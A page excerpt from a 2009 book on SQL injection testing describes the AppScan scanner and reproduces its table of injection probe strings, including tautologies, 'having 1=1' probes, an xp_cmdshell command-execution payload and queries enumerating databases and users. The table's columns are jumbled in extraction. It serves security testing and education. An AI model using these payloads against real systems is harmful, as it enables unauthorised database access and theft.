SQL Injection Attacks and Defense - 2009

84 Chapter 2 • Testing for SQL Injection
but it doesn’t include a tool for exploitation as does WebInspect. Table 2.8 shows the injection
strings sent by AppScan during the inference process.
Table 2.8 Signatures Used by AppScan for SQL Injection Identification
Testing Strings
WF’SQL”Probe;A--B ‘ + ‘somechars ‘ ‘ and
‘barfoo’=’foobar’) --
‘ having 1=1-- somechars’ + ‘ ‘; ‘ and
‘barfoo’=’foobar
1 having 1=1-- somechars’ || ‘ ) ‘ or ‘foobar’=’foobar’
--
\’ having 1=1-- ‘ || ‘somechars \’ ‘ or ‘foobar’=’foobar’)
--
) having 1=1-- ‘ || ‘ ; ‘ and
‘foobar’=’foobar
%a5’ having 1=1-- or 7659=7659 \” ‘ and
‘foobar’=’foobar’) --
|vol and 7659=7659 “‘ ‘ exec master..
xp_cmdshell ‘vol’--
‘ | ‘vol and 0=7659 “ ‘; select * from dbo.
sysdatabases--
“ | “vol /**/or/**/
7659=7659
||vol
/**/and/**/
7659=7659
‘ + ‘‘ + ‘ /**/and/**
/0=7659
‘ and ‘barfoo’=
’foobar’ --
‘ or ‘foobar’=
’foobar
‘ and ‘foobar’=
’foobar’ --
‘; select @@
version,1,1,1--
‘; select * from
master..sysmessages--
‘; select * from
sys.dba_users--
AppScan also provides macro recording functionality to simulate user behavior and enter
authentication credentials. The platform supports basic HTTP and NTLM authentication as
well as client-side certificates.
AppScan offers a very interesting functionality called a privilege escalation test.
Essentially, you can conduct a test to the same target using different privilege levels—for
example, unauthenticated, read-only, and administrator. After that, AppScan will try to access
from a low-privileged account information available only for higher-privileged accounts,
flagging any potential privilege escalation issue.
Figure 2.18 shows a screenshot of AppScan during the scanning process.